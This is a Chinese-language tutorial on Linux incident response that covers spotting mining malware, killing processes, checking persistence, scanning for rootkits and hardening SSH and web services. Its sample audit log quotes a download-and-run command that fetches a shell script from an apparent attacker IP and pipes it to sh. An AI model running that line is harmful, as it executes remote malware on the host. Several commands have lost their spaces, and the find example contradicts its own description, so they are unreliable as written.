概述
Linux 环境下处理应急响应事件往往会更加的棘手, 因为相比于 Windows,Linux 没有像 Autorun,procexp 这样的应急响应利器, 也没有统一的应急响应处理流程. 所以, 这篇文章将会对 Linux 环境下的应急响应流程进行讲解, 并且提供每一个环节中所用到的 shell 命令, 以帮助大家快速, 系统化地处理 Linux 环境下的病毒.
处理 Linux 应急响应主要分为这 4 个环节: 识别现象 -> 清除病毒 -> 闭环兜底 -> 系统加固.
首先从用户场景的主机异常现象出发, 先识别出病毒的可疑现象.
然后定位到具体的病毒进程以及病毒文件, 进行清除.
完成前 2 步还不够, 病毒一般会通过一些自启动项及守护程序进行重复感染, 所以我们要执行闭环兜底确保病毒不再被创建.
将主机上的病毒项清除干净后, 最后就是进行系统加固了, 防止病毒从 web 再次入侵进来.
走完这 4 个环节, 才能算是一个应急响应流程的结束.
识别现象
第 1 个环节要求我们通过系统运行状态, 安全设备告警, 发现主机异常现象, 以及确认病毒的可疑行为.
系统 CPU 是否异常
枚举进程, CPU 降序排序: top
CPU 占用率超过 70% 且名字比较可疑的进程, 大概率就是挖矿病毒了.
是否存在可疑进程
枚举进程命令行: ps -aux
病毒一般都携带可疑的命令行, 当你发现命令行中带有 url 等奇怪的字符串时, 就要注意了, 它很可能是个病毒 downloader.
安全网关有无报警
从安全网关报警中识别出威胁是最直接, 但确认主机已经感染了病毒只是第一步, 接下来得定位, 具体是哪个进程在与 C&C 通信.
监控与目标 IP 通信的进程:
while true; do netstat -antp | grep [ip]; done
有时安全网关检测到的不全是恶意 IP, 还有可能是个域名, 这种情况下, 域名对应的 IP 是变化的, 我们不能直接用上述方法进行监控.
我们可以先在 host 文件中添加一条规则, 将恶意域名重定向到一个随机的 IP 地址, 然后对其进行监控.
这样就能得到与之通信的恶意进程了.
有无可疑历史命令
遍历主机历史命令, 查找有无恶意命令: history
清除病毒
从第 1 个环节追溯到的进程信息, 将会帮助我们定位到病毒进程 & 病毒文件, 实现清除.
结束病毒进程
清除可疑进程的进程链:
ps -elf | grep [pid] kill -9 [pid]
删除病毒文件
定位病毒进程对应的文件路径:
ls -al /proc/[pid]/exe rm -f [exe_path]
闭环兜底
Linux 下的病毒持久化驻留方式相比于 Windows 较少, 主要以下 4 种方式.
检查是否存在可疑定时任务
枚举定时任务: crontab-l
查看 anacron 异步定时任务: cat/etc/anacrontab
检查是否存在可疑服务
枚举主机所有服务, 查看是否有恶意服务:
service--status-all
检查系统文件是否被劫持
枚举系统文件夹的文件, 按修改事件排序查看 7 天内被修改过的文件:
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
检查是否存在病毒守护进程
监控守护进程的行为: lsof-p[pid]
strace-tt-T -etrace=all-p$pid
扫描是否存在恶意驱动
枚举 / 扫描系统驱动: lsmod
安装 chkrootkit 进行扫描:
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit
安装 rkhunter 进行扫描:
- Wget
- tar -zxvf rkhunter-1.4.4.tar.gz
- cd rkhunter-1.4.4
- ./installer.sh --install
- rkhunter -c
最后一个环节往往是大家比较容易遗忘的, Linux 平台下 90% 的病毒是通过网络传播感染的, 所以, 你的主机之所以会感染病毒, 大部分原因也是因为 Web 安全防护不够, 赶紧检查一下.
修改 SSH 弱密码
查询 log 主机登陆日志:
grep "Accepted" /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
定位有爆破的源 IP:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破日志的用户名密码:
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print"$1\n";}'|uniq -c|sort -nr
SSH 爆破是 Linux 病毒最常用的传播手段, 若存在弱密码的主机很容易被其他感染主机 SSH 爆破成功, 从而再次感染病毒.
添加命令审计
为历史的命令增加登录的 IP 地址, 执行命令时间等信息:
[1] 保存 1 万条命令:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
[2] 在 / etc/profile 的文件尾部添加如下行数配置信息:
- USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
- if [ "$USER_IP" = "" ]
- then
- USER_IP=`hostname`
- fi
- export HISTTIMEFORMAT="%F %T $USER_IP `whoami`"
- shopt -s histappend
- export PROMPT_COMMAND="history -a"
[3] 让配置生效:
source /etc/profile
生成效果:
762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-<a href="http://103.219.112.66:8000/i.sh">http://103.219.112.66:8000/i.sh</a>) | sh
打上常见 Web 漏洞补丁
structs2 系列 RCE 漏洞
thinkphp5.XRCE 漏洞
Redis 未授权访问漏洞
ConfluenceRCE 漏洞 (CVE_2019_3396)
DrupalRCE 漏洞 (CVE-2018-7600)
ThinkPHPRCE 漏洞 (CVE-2019-9082)
结尾
Linux 平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主, 由于 Linux 大多作为服务器暴露在公网, 且 Web 应用的漏洞层出不穷, 所以很容易被大范围入侵, 如常见的病毒: DDG,systemdMiner,BillGates,watchdogs,XorDDos, 在很多 Linux 上都有. 大家要养成不使用弱密码, 勤打补丁的好习惯.
来源: http://www.tuicool.com/articles/QRZZ322